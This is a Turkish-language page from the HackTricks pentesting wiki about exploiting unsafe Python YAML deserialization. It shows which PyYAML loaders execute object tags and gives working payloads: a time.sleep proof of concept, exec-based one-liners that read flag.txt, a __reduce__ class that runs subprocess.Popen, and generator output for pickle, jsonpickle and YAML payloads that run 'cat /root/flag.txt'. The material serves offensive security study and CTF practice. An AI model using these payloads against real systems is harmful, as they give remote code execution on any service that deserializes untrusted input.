Python Yaml Deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Yaml Deserialization

Yaml python kütüphaneleri, yalnızca ham verileri değil, aynı zamanda python nesnelerini serileştirme yeteneğine de sahiptir:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

tuple'ın ham bir veri türü olmadığını ve bu nedenle serileştirildiğini kontrol edin. Aynı şey range için de geçerlidir (builtins'ten alınmıştır).

safe_load() veya safe_load_all() SafeLoader kullanır ve sınıf nesnesi serileştirmesini desteklemez. Sınıf nesnesi serileştirme örneği:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Önceki kod, serileştirilmiş python sınıfını yüklemek için unsafe_load kullandı. Bunun nedeni, version >= 5.1'de, load() içinde Loader belirtilmediğinde veya Loader=SafeLoader olduğunda, herhangi bir serileştirilmiş python sınıfını veya sınıf niteliğini deseralize etmeye izin vermemesidir.

Temel Sömürü

sleep nasıl çalıştırılır üzerine bir örnek:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerable .load("<content>") without Loader

Eski sürümler pyyaml, bir şeyi yüklerken Loader'ı belirtmezseniz deserialization saldırılarına karşı savunmasızdı: yaml.load(data)

Bu açıklamayı burada bulabilirsiniz. O sayfadaki önerilen sömürü şudur:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ya da bu @ishaack tarafından sağlanan tek satırı da kullanabilirsiniz:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Not edin ki son sürümlerde artık .load() Loader olmadan çağrılamaz ve FullLoader bu saldırıya artık savunmasız değildir.

RCE

Özel yükler, PyYAML veya ruamel.yaml gibi Python YAML modülleri kullanılarak oluşturulabilir. Bu yükler, güvenilir olmayan girişi uygun bir şekilde temizlemeden deseralize eden sistemlerdeki zayıflıkları istismar edebilir.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Payload Oluşturma Aracı

Aracı https://github.com/j0lt-github/python-deserialization-attack-payload-generator Pickle, PyYAML, jsonpickle ve ruamel.yaml'i istismar etmek için python deserialization payload'ları oluşturmak için kullanabilirsiniz:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referanslar

AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

Last updated